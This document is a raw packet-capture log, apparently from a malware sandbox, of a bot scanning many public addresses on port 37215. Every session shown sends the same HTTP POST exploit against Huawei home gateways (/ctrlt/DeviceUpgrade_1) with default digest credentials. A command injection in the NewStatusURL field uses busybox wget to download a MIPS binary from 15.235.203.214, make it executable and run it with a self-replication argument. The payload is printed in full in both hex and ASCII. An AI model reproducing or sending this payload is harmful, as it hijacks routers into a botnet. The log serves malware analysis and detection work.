2e 62 75 6c 75 6c 62 6f 6c 20 2d 72 20 2f 62 6f 6c 6f 6e 65 74 77 6f 72 6b 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 15.235.203.214 -l /tmp/.bululbol -r /bolonetwork.mips; /bin/busybox chmod 777 /tmp/.bululbol; /tmp/.bululbol selfrep.bulu)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
75	192.168.2.13	39112	145.185.248.183	37215

Timestamp	Bytes transferred	Direction	Data
Jul 20, 2024 23:00:59.021791935 CEST	851	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Content-Length: 482 Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 2e 32 33 35 2e 32 30 33 2e 32 31 34 20 2d 6c 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 2d 72 20 2f 62 6f 6c 6f 6e 65 74 77 6f 72 6b 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 15.235.203.214 -l /tmp/.bululbol -r /bolonetwork.mips; /bin/busybox chmod 777 /tmp/.bululbol; /tmp/.bululbol selfrep.bulu)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
76	192.168.2.13	39374	41.194.84.193	37215

Timestamp	Bytes transferred	Direction	Data
Jul 20, 2024 23:00:59.021825075 CEST	851	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Content-Length: 482 Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 2e 32 33 35 2e 32 30 33 2e 32 31 34 20 2d 6c 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 2d 72 20 2f 62 6f 6c 6f 6e 65 74 77 6f 72 6b 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 15.235.203.214 -l /tmp/.bululbol -r /bolonetwork.mips; /bin/busybox chmod 777 /tmp/.bululbol; /tmp/.bululbol selfrep.bulu)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
77	192.168.2.13	57934	41.114.67.30	37215

Timestamp	Bytes transferred	Direction	Data
Jul 20, 2024 23:00:59.021856070 CEST	851	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Content-Length: 482 Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 2e 32 33 35 2e 32 30 33 2e 32 31 34 20 2d 6c 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 2d 72 20 2f 62 6f 6c 6f 6e 65 74 77 6f 72 6b 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 15.235.203.214 -l /tmp/.bululbol -r /bolonetwork.mips; /bin/busybox chmod 777 /tmp/.bululbol; /tmp/.bululbol selfrep.bulu)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
78	192.168.2.13	54514	41.150.243.200	37215

Timestamp	Bytes transferred	Direction	Data
Jul 20, 2024 23:00:59.021889925 CEST	851	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Content-Length: 482 Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 2e 32 33 35 2e 32 30 33 2e 32 31 34 20 2d 6c 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 2d 72 20 2f 62 6f 6c 6f 6e 65 74 77 6f 72 6b 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 15.235.203.214 -l /tmp/.bululbol -r /bolonetwork.mips; /bin/busybox chmod 777 /tmp/.bululbol; /tmp/.bululbol selfrep.bulu)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
79	192.168.2.13	44740	197.238.40.168	37215

Timestamp	Bytes transferred	Direction	Data
Jul 20, 2024 23:00:59.021889925 CEST	851	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Content-Length: 482 Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 2e 32 33 35 2e 32 30 33 2e 32 31 34 20 2d 6c 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 2d 72 20 2f 62 6f 6c 6f 6e 65 74 77 6f 72 6b 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 15.235.203.214 -l /tmp/.bululbol -r /bolonetwork.mips; /bin/busybox chmod 777 /tmp/.bululbol; /tmp/.bululbol selfrep.bulu)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
80	192.168.2.13	42662	157.222.199.50	37215

Timestamp	Bytes transferred	Direction	Data
Jul 20, 2024 23:00:59.021889925 CEST	851	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Content-Length: 482 Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 2e 32 33 35 2e 32 30 33 2e 32 31 34 20 2d 6c 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 2d 72 20 2f 62 6f 6c 6f 6e 65 74 77 6f 72 6b 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 15.235.203.214 -l /tmp/.bululbol -r /bolonetwork.mips; /bin/busybox chmod 777 /tmp/.bululbol; /tmp/.bululbol selfrep.bulu)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
81	192.168.2.13	58998	41.79.63.222	37215

Timestamp	Bytes transferred	Direction	Data
Jul 20, 2024 23:00:59.021889925 CEST	851	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Content-Length: 482 Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 2e 32 33 35 2e 32 30 33 2e 32 31 34 20 2d 6c 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 2d 72 20 2f 62 6f 6c 6f 6e 65 74 77 6f 72 6b 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 15.235.203.214 -l /tmp/.bululbol -r /bolonetwork.mips; /bin/busybox chmod 777 /tmp/.bululbol; /tmp/.bululbol selfrep.bulu)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
82	192.168.2.13	49998	197.54.41.117	37215

Timestamp	Bytes transferred	Direction	Data
Jul 20, 2024 23:00:59.021889925 CEST	851	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Content-Length: 482 Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 2e 32 33 35 2e 32 30 33 2e 32 31 34 20 2d 6c 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 2d 72 20 2f 62 6f 6c 6f 6e 65 74 77 6f 72 6b 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 15.235.203.214 -l /tmp/.bululbol -r /bolonetwork.mips; /bin/busybox chmod 777 /tmp/.bululbol; /tmp/.bululbol selfrep.bulu)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
83	192.168.2.13	42974	157.11.177.150	37215

Timestamp	Bytes transferred	Direction	Data
Jul 20, 2024 23:00:59.021904945 CEST	851	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Content-Length: 482 Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 2e 32 33 35 2e 32 30 33 2e 32 31 34 20 2d 6c 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 2d 72 20 2f 62 6f 6c 6f 6e 65 74 77 6f 72 6b 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 15.235.203.214 -l /tmp/.bululbol -r /bolonetwork.mips; /bin/busybox chmod 777 /tmp/.bululbol; /tmp/.bululbol selfrep.bulu)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
84	192.168.2.13	56090	220.90.88.236	37215

Timestamp	Bytes transferred	Direction	Data
Jul 20, 2024 23:00:59.021908045 CEST	851	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Content-Length: 482 Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 2e 32 33 35 2e 32 30 33 2e 32 31 34 20 2d 6c 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 2d 72 20 2f 62 6f 6c 6f 6e 65 74 77 6f 72 6b 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 15.235.203.214 -l /tmp/.bululbol -r /bolonetwork.mips; /bin/busybox chmod 777 /tmp/.bululbol; /tmp/.bululbol selfrep.bulu)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
85	192.168.2.13	38854	203.129.114.89	37215

Timestamp	Bytes transferred	Direction	Data
